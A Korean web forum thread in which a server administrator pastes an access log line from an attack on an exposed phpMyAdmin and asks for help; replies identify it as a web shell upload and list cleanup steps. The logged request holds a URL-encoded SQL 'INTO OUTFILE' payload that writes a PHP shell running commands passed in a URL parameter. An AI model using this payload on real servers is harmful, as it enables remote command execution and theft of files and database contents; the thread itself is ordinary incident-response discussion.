112.219.92.82 - - [24/Mar/2012:01:01:42 +0900] "GET /phpmyadmin/main.php?reload=1&sql_query=select+%27%3C%3Fphp+echo+%5C%27%3Cpre%3E%5C%27%3Bsystem%28%24_GET%5B%5C%27cmd%5C%27%5D%29%3B+echo+%5C%27%3C%2Fpre%3E%5C%27%3B+%3F%3E%27+INTO+OUTFILE+%27%2Ftmp%2F.a%27&token=6447c5d6e0ef4ea9a5807a9cdf775021 HTTP/1.1" 200 7428 "도메인/util/phpmyadmin/server_sql.php?token=6447c5d6e0ef4ea9a5807a9cdf775021" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.26) Gecko/20120128 Firefox/3.6.26"
위와같이 웹로그가 다수 발견되었는데요
phpmyadmin 소스 파일을 웹에서 다운받을수 있게 리스트 보이게 해둿엇는데 그경로 뒤에 이런식으로 쿼리를 남겼네요.. 굵게 표시해놓은 .a 파일이 /tmp 디렉토리에서 발견되었구요..
인젝션이나 그런형태 인건가요?
아이피 변조해서 무수히 많은 로그가 생성되었습니다 ㅠㅠ
zh-CN이건 중국이라는거같기도 하고 ㅠㅠ 조언바랍니다 ㅠㅠ 일단 그경로의 파일은 삭제햇습니다 ㅠㅠ
댓글 3개
13년 전
음....정확한건 들어가서 봐야겠지만......phpmyadmin 기본 로그가 저런식으로 남다보니...
별다른 의심점은 /tmp 에 파일이 생겼다라는건데....폴더명을 phpmysadmin 이런식으로 쓰는건
위험하구요...조치는 잘 취하신것 처럼보이네욤...
파일 삭제와 더불어 경로변경 , phpmyadmin 버전업 정도 조치 하시면 될듯 한데욤
별다른 의심점은 /tmp 에 파일이 생겼다라는건데....폴더명을 phpmysadmin 이런식으로 쓰는건
위험하구요...조치는 잘 취하신것 처럼보이네욤...
파일 삭제와 더불어 경로변경 , phpmyadmin 버전업 정도 조치 하시면 될듯 한데욤
xkingcode
13년 전
웹셀 업로드 맞네요. PHP로 보내는 명령을 바로 실행하는 PHP 파일을 만든겁니다.
일단 서버내에 파일은 다 털어갈 수 있는 상황이 되었고요.
(소스, db접속 계정 정보, DB 내용)
우선 기본적으로 비밀번호 변경하시고요.
가능한 업데이트 다 해주시고요.
웹셀 이후에 권한 탈취 시도까지는 없었던 것 같습니다만
좀비 PC 가능성도 높으니
ps aux 에서 이상한 프로세스 있으면 삭제해주세요
neststat -a 해서 정체모를 IP로부터 명령 받고있는건 없는지 확인하시고요.
phpmyadmin 경로 변경해서 다른 곳에서 쓰시고
phpmyadmin 최신 버전으로 다시 받으시고요.
MySQL은 해당 서버에서만 접근할 수 있게 IP제한 걸어주시고
PHPMyadmin도 IP 제한 걸면 좋고요.
가능하면 방화벽으로 오픈해야 하는 서비스만 오픈하심이 좋아보이십니다.
일단 서버내에 파일은 다 털어갈 수 있는 상황이 되었고요.
(소스, db접속 계정 정보, DB 내용)
우선 기본적으로 비밀번호 변경하시고요.
가능한 업데이트 다 해주시고요.
웹셀 이후에 권한 탈취 시도까지는 없었던 것 같습니다만
좀비 PC 가능성도 높으니
ps aux 에서 이상한 프로세스 있으면 삭제해주세요
neststat -a 해서 정체모를 IP로부터 명령 받고있는건 없는지 확인하시고요.
phpmyadmin 경로 변경해서 다른 곳에서 쓰시고
phpmyadmin 최신 버전으로 다시 받으시고요.
MySQL은 해당 서버에서만 접근할 수 있게 IP제한 걸어주시고
PHPMyadmin도 IP 제한 걸면 좋고요.
가능하면 방화벽으로 오픈해야 하는 서비스만 오픈하심이 좋아보이십니다.
13년 전
phpmyadmin 최신 버전으로 사용하는게 좋겠네요.
phpmyadmin 트래픽 공격도 발생하더군요.
phpmyadmin 트래픽 공격도 발생하더군요.
게시판 목록
프로그램
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 8030 | 9년 전 | 417 | ||
| 8029 | 9년 전 | 340 | ||
| 8028 | 9년 전 | 296 | ||
| 8027 | 9년 전 | 310 | ||
| 8026 | 9년 전 | 382 | ||
| 8025 | 9년 전 | 410 | ||
| 8024 | 9년 전 | 400 | ||
| 8023 | 9년 전 | 424 | ||
| 8022 | 9년 전 | 340 | ||
| 8021 | 9년 전 | 362 | ||
| 8020 | 9년 전 | 367 | ||
| 8019 | 9년 전 | 379 | ||
| 8018 | 9년 전 | 481 | ||
| 8017 | 9년 전 | 562 | ||
| 8016 | 9년 전 | 388 | ||
| 8015 | 9년 전 | 419 | ||
| 8014 | 9년 전 | 347 | ||
| 8013 | 9년 전 | 269 | ||
| 8012 | 9년 전 | 270 | ||
| 8011 | 9년 전 | 479 | ||
| 8010 | 9년 전 | 333 | ||
| 8009 | 9년 전 | 349 | ||
| 8008 | 9년 전 | 319 | ||
| 8007 | 9년 전 | 466 | ||
| 8006 | 9년 전 | 503 | ||
| 8005 |
 카카오툴즈 |
9년 전 | 997 | |
| 8004 | 9년 전 | 386 | ||
| 8003 | 9년 전 | 457 | ||
| 8002 | 9년 전 | 350 | ||
| 8001 |
 Terrorboy |
9년 전 | 695 | |
| 8000 | 9년 전 | 458 | ||
| 7999 | 9년 전 | 408 | ||
| 7998 | 9년 전 | 467 | ||
| 7997 | 9년 전 | 338 | ||
| 7996 | 9년 전 | 566 | ||
| 7995 | 9년 전 | 518 | ||
| 7994 | 9년 전 | 403 | ||
| 7993 | 9년 전 | 476 | ||
| 7992 | 9년 전 | 544 | ||
| 7991 | 9년 전 | 292 | ||
| 7990 | 9년 전 | 327 | ||
| 7989 | 9년 전 | 332 | ||
| 7988 | 9년 전 | 761 | ||
| 7987 | 9년 전 | 464 | ||
| 7986 | 9년 전 | 466 | ||
| 7985 | 9년 전 | 545 | ||
| 7984 | 9년 전 | 463 | ||
| 7983 | 9년 전 | 699 | ||
| 7982 | 9년 전 | 559 | ||
| 7981 | 9년 전 | 517 | ||
| 7980 | 9년 전 | 539 | ||
| 7979 | 9년 전 | 528 | ||
| 7978 | 9년 전 | 491 | ||
| 7977 | 9년 전 | 433 | ||
| 7976 | 9년 전 | 893 | ||
| 7975 | 9년 전 | 407 | ||
| 7974 | 9년 전 | 452 | ||
| 7973 | 9년 전 | 632 | ||
| 7972 | 9년 전 | 425 | ||
| 7971 | 9년 전 | 499 | ||
| 7970 | 9년 전 | 343 | ||
| 7969 | 9년 전 | 583 | ||
| 7968 | 9년 전 | 430 | ||
| 7967 | 9년 전 | 413 | ||
| 7966 | 9년 전 | 418 | ||
| 7965 |
 나는웹디다 |
9년 전 | 1046 | |
| 7964 | 9년 전 | 437 | ||
| 7963 | 9년 전 | 446 | ||
| 7962 | 9년 전 | 445 | ||
| 7961 |
전갈자리남자
|
9년 전 | 539 | |
| 7960 | 9년 전 | 1008 | ||
| 7959 | 9년 전 | 586 | ||
| 7958 | 9년 전 | 436 | ||
| 7957 | 9년 전 | 394 | ||
| 7956 | 9년 전 | 391 | ||
| 7955 | 9년 전 | 497 | ||
| 7954 | 9년 전 | 432 | ||
| 7953 | 9년 전 | 481 | ||
| 7952 | 9년 전 | 402 | ||
| 7951 | 9년 전 | 532 | ||
| 7950 | 9년 전 | 430 | ||
| 7949 | 9년 전 | 422 | ||
| 7948 | 9년 전 | 357 | ||
| 7947 | 9년 전 | 975 | ||
| 7946 | 9년 전 | 492 | ||
| 7945 | 9년 전 | 434 | ||
| 7944 | 9년 전 | 495 | ||
| 7943 | 9년 전 | 426 | ||
| 7942 | 9년 전 | 441 | ||
| 7941 | 9년 전 | 430 | ||
| 7940 | 9년 전 | 930 | ||
| 7939 | 9년 전 | 423 | ||
| 7938 | 9년 전 | 438 | ||
| 7937 | 9년 전 | 328 | ||
| 7936 | 9년 전 | 911 | ||
| 7935 | 9년 전 | 516 | ||
| 7934 | 9년 전 | 501 | ||
| 7933 | 9년 전 | 625 | ||
| 7932 | 9년 전 | 563 | ||
| 7931 | 9년 전 | 622 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기